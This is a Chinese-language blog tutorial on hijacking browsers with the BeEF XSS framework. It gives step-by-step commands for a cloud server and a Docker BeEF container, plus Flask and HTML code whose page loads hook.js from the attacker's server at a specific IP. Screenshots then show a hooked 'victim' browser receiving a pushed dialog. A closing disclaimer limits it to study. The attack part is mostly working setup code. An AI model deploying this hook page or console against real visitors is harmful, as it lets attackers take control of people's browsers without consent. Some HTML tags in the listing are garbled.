beef-xss浏览器劫持

beef-xss浏览器劫持

      • 一,实验拓扑图
      • 二,租用一台阿里云,搭建docker环境和beef环境
        • 1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱
        • 2.开启策略组3000端口,5000端口
        • 4.安装docker
        • 5.拉取beef镜像,并且运行容器
        • 6.运行beef容器:
      • 三,使用python启动一个http web服务
        • 1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下
        • 2.安装 flask库并运行 beef.py:
        • 3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,
        • 4.观察beef控制台
      • 四,对上线的受害主机浏览器进行劫持
        • 1.执行创建对话框
        • 2.本地浏览器出现弹窗![在这里插入图片描述](https://img-blog.csdnimg.cn/8a9285c2b46d46df83ab7ff52364f1f5.png)
      • 五,免责声明

一,实验拓扑图

beef-xss浏览器劫持_第1张图片

二,租用一台阿里云,搭建docker环境和beef环境

1.租一台阿里云服务器,系统选用ubuntu,计时收费的那种,一个小时几毛钱

2.开启策略组3000端口,5000端口

beef-xss浏览器劫持_第2张图片

4.安装docker

apt install docker.io

5.拉取beef镜像,并且运行容器

docker pull janes/beef

6.运行beef容器:

docker run -dp 3000:3000 janes/beef
打开浏览器 输入网址: http://8.218.50.45:3000/ui/panel 进入 beef控制台,用户名和密码都是 beef

三,使用python启动一个http web服务

1.beef.py 和templates 文件夹在同一级,beef.html在templates 文件夹下

beef-xss浏览器劫持_第3张图片

beef-xss浏览器劫持_第4张图片

beef.py

import os
from flask import Flask, request, render_template, redirect

app = Flask(__name__)

@app.route('/beef', methods=['POST', 'GET'])
def do_beef():

    return render_template('beef.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

beef.html

DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <script src="http://8.218.50.45:3000/hook.js">script>
    <title>testtitle>
  head>
  <body>
    please wait ...
  body>
html>
其中 是指向我们刚才搭建的beef平台

传到我们刚才租的那台阿里云服务器上如下:
beef-xss浏览器劫持_第5张图片

2.安装 flask库并运行 beef.py:

pip3 install flask
python3 beef.py

beef-xss浏览器劫持_第6张图片

3.本地打开浏览器访问页面 http://8.218.50.45:5000/beef,

beef-xss浏览器劫持_第7张图片

4.观察beef控制台

beef-xss浏览器劫持_第8张图片

四,对上线的受害主机浏览器进行劫持

1.执行创建对话框

beef-xss浏览器劫持_第9张图片

2.本地浏览器出现弹窗beef-xss浏览器劫持_第10张图片

五,免责声明

本教程只能用于技术学习,不得使用本教程从事任何违法犯罪行为。

你可能感兴趣的:(网络安全,xss,flask)